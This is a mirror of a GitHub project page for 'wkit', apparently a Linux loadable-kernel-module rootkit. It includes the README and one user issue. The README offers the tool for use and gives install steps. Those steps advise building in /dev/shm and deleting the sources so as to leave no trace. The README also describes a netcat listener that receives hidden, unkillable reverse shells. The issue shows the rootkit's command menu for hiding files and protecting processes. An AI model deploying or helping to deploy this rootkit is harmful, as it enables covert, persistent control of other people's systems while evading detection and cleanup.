Code Monkey home page Code Monkey logo

wkit's Introduction



wkit | a rootkit for modern kernels

a linux loadable kernel module (LKM) rootkit for modern kernels using a userland agent, it provides a reverse backdoor that you can use to create hidden reverse shells, hidding files and protecting processes.

features

  • support for 5.15+ 64 bit kernels
  • create hidden and unkillable reverse shells
  • make files hidden, unremovable and unreadable
  • make processes hidden and unkillable

installing

first you should install all the dependencies:

  • build-essential: gcc and other compile tools
  • linux-headers: linux API headers needed for building a LKM

then clone the repository, to leave no trace on the disk you can do this inside the /dev/shm directory:

cd /dev/shm
git clone https://github.com/ngn13/wkit.git
cd wkit

after that run the install.sh script:

./install.sh

this script will:

  • check the kernel version and arch
  • create new random configuration
  • build the kernel module
  • build the userland agent
  • install the userland agent
  • load the kernel module

lastly cleanup the sources:

cd .. && rm -rf wkit

usage

start a netcat listener on the host and port you specified during the installation:

nc -lnvp <port>

userland agent attempts to make connection with this address every 5 seconds, so you should receive a backdoor connection in few seconds

resources

to learn more about LKMs and rootkits checkout these resources:

also feel free to create issues if you have any questions - you can also contribute with PRs

wkit's People

Contributors

ngn13 avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar

wkit's Issues

reverse shell connection

Listening on 0.0.0.0 1234
Connection received on myip 43424
_ _ _
__ | | () |
\ \ /\ / / |/ / | _|
\ V V /| <| | |

_/_/ ||__|_|

=> Connection successful
=> Sending the command menu
1 -> Receive reverse shell connection
2 -> Make a file hidden
3 -> Protect a process
[wkit]# 1 myip
=> Enter an IP for the reverse shell
=> You will receive the connection on port 4444
[wkit]# myip
=> Creating the reverse shell fork...
=> Fork created, enjoy your shell

this wont open a shell
also not on netcat

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.